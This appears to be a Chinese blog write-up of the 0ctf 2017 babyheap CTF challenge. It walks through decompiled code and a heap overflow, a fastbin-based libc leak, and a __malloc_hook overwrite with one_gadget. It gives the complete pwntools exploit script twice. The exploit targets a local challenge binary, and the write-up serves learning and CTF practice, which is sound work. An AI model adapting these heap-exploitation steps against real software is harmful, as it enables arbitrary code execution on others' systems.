百航鹿大联训 0ctf_2017_babyheap

我和Pwn题真是一对苦命鸳鸯啊,吃大份去吧。
首先checksec,不出意料的保护全开。
然后开始看代码吧。稍微改了改函数名。

void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

一个常规的分配函数,结构体包含flag、size和堆地址。

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

可以向某个堆写入新size并填入新内容。原来的堆大小没变,容易发现可以做堆溢出。

__int64 __fastcall Free(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

释放结构体。释放前会检查flag,堵死了double free;释放后清零,没有UAF。

int __fastcall Dump(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return result;
}

可以读内容,用于做泄漏。


总体的泄漏思路还是利用unsorted bin,如果我们能释放掉一个chunk进unsorted bin里,但同时有另一个inuse的chunk同样申请到了这个地址,就能dump出 main_arena
但是没法double free了,我们需要换一种方法。那么考虑fast bin。
fastbin后进先出(LIFO),并且是单链表。每次取出表头chunk之后,下一个被取的就是表头的fd。
那么思路就很清晰了,假如我们有一个chunk x在unsorted bin里,先往fast bin里放一个chunk y,通过溢出修改其fd为chunk x,取两次就能得到一个inuse的chunk x,读出其内容。
值得注意的是,fast bin每次取出chunk会检查它的size是否在fast bin范围内。而chunk x的size太大了,取出时必须临时修改一下。
还有一件事,我怎么知道chunk x的地址啊?不是随机的吗?
事实上,由于内存页对齐,我们可以发现第一个chunk的地址低位总是0x00,只有高位在随机变。 又由于这些chunk地址连续,size已知,因此chunk y的低位固定。可以用pwndbg试试看。
如果预先令chunk y->chunk t,这样chunk t的高位和chunk y一模一样,我们只需要修改低位即可。

from pwn import *
context.log_level="debug"
io=process("./babyheap_0ctf_2017")
elf=ELF("./babyheap_0ctf_2017")
def allocate(size):
    io.sendlineafter("Command: ",str(1))
    io.sendlineafter("Size: ",str(size))
def fill(index,content):
    io.sendlineafter("Command: ",str(2))
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(len(content)))
    io.sendlineafter("Content: ",content)
def free(index):
    io.sendlineafter("Command: ",str(3))
    io.sendlineafter("Index: ",str(index))
def dump(index):
    io.sendlineafter("Command: ",str(4))
    io.sendlineafter("Index: ",str(index))
    io.recvline()#读走前缀"Content: "
    return io.recvline()
allocate(0x10)#chunk 0,大小随意
allocate(0x10)#chunk 1,被溢出chunk,需要放入fast bin
allocate(0x10)#chunk 2,高位与chunk 4相同,低位不同,修改低位就行了
allocate(0x10)#chunk 3,对chunk 4做溢出,修改其size
allocate(0x80)#chunk 4,用于泄漏基址,需要放入unsorted bin
free(2)
free(1)#此时fast bin中:->chunk 1->chunk 2
fill(0,p64(0)*3+p64(0x21)+p8(0x80))
'''
修改chunk 1的fd为chunk 4
需要保持size=0x21不变
然后修改fd的第一个字节为固定的0x80即可(小端序)
此时fast bin中:chunk1->chunk 4
'''
fill(3,p64(0)*3+p64(0x21))#修改chunk 4的size为0x21,通过fast bin检查
allocate(0x10)#chunk 1
allocate(0x10)#chunk 2,实际上等价于chunk 4
fill(3,p64(0)*3+p64(0x91))
'''
把chunk 4的size改回来,否则进不了unsorted bin
那为什么不一开始就设成0x21,再改成0x91呢?我想堆大小不匹配应该会产生奇奇怪怪的问题
'''
allocate(0x80)#chunk 5,防止chunk 4释放后与Top chunk合并
free(4)#放入unsorted bin
libc_addr=u64(dump(2).strip()[:8].ljust(8,b"\0"))-0x3c3b78
#此处切片前8个字节即可。strip()表示去除首尾的空白字符

接下来考虑攻击。
刚才已经用过fast bin这个漏洞了,如法炮制取得一个hook chunk做任意写就行了。
但是,前面说了,fast bin会检查chunk的size是否满足条件。而我们没有办法对那些hook的地址做溢出,只能看看有没有天然满足条件的。
也就是说,一个有利用价值的hook,上游size段(-0x8处)应该是0x000000000000007?0x000000000000006?之类的。
我们来看看。
利用info variables hook命令,可以看到各hook的地址。

先来试试__free_hook,发现上游全是0,毫无价值,遗憾离场。

再来看看__malloc_hook,哦?有说法。好多7开头的东西。

我们微调一下,构造出一个size刚好是0x7?的chunk。注意这里的?可能是每次随机的,但前面的7是固定的。
那你可能会说了,我又不知道?是多少,申请的size和它不匹配怎么办。
其实,fast bin的size检查并不严格,只要前面的7一样,索引就一样,这个chunk就可以被申请出来。

那么这就是fake chunk的地址。开心。
可以把它修改成one_gadget的地址。这是一些执行execve("/bin/sh", NULL, NULL)的片段,相比于system("/bin/sh")省去了构造参数的步骤,比较方便。后者一般只能用于__free_hook而不能用于__malloc_hook,因为malloc的参数是整数不是字符串。
先要安装ruby和one_gadget。然后输入 one_gadget ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so(这里是我使用的libc路径)。有很多个地址,表示和libc的偏移,这里我们选用第一项。

allocate(0x60)#chunk 4
'''
申请一个chunk,等下放进fast bin。
注意这里unsorted bin中有一个0x80大小的chunk,此处只申请0x60(因为要匹配0x7?),于是该chunk分裂成两半
前面一半被我们申请过来,其地址刚好是chunk 4,等价于chunk 2
那么我们不用做溢出了,等下直接改chunk 2的内容就好了
'''
free(4)#放入fast bin
fill(2,p64(libc_addr+0x3c3aed))#直接改chunk 2的fd,相当于改了fast bin里chunk 4的fd
allocate(0x60)#chunk 4
allocate(0x60)#chunk 6,也就是fake chunk,在__malloc_hook上游;大小0x60就好了,对应0x71->0x7?
fill(6,p8(0)*0x13+p64(libc_addr+0x4525a))#先填充0x13个字节直到__malloc_hook的位置,再改成one_gadget
allocate(0x92)#chunk 7,get shell,大小看心情
io.interactive()

完整代码

from pwn import *
context.log_level="debug"
io=process("./babyheap_0ctf_2017")
elf=ELF("./babyheap_0ctf_2017")
def allocate(size):
    io.sendlineafter("Command: ",str(1))
    io.sendlineafter("Size: ",str(size))
def fill(index,content):
    io.sendlineafter("Command: ",str(2))
    io.sendlineafter("Index: ",str(index))
    io.sendlineafter("Size: ",str(len(content)))
    io.sendlineafter("Content: ",content)
def free(index):
    io.sendlineafter("Command: ",str(3))
    io.sendlineafter("Index: ",str(index))
def dump(index):
    io.sendlineafter("Command: ",str(4))
    io.sendlineafter("Index: ",str(index))
    io.recvline()
    return io.recvline()
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(2)
free(1)
fill(0,p64(0)*3+p64(0x21)+p8(0x80))
fill(3,p64(0)*3+p64(0x21))
allocate(0x10)
allocate(0x10)
fill(3,p64(0)*3+p64(0x91))
allocate(0x80)
free(4)
libc_addr=u64(dump(2).strip()[:8].ljust(8,b"\0"))-0x3c3b78
allocate(0x60)
free(4)
fill(2,p64(libc_addr+0x3c3aed))
allocate(0x60)
allocate(0x60)
fill(6,p8(0)*0x13+p64(libc_addr+0x4525a))
io.interactive()
posted @ 2025-11-18 13:08  Fan_sheng  阅读(7)  评论(0)    收藏  举报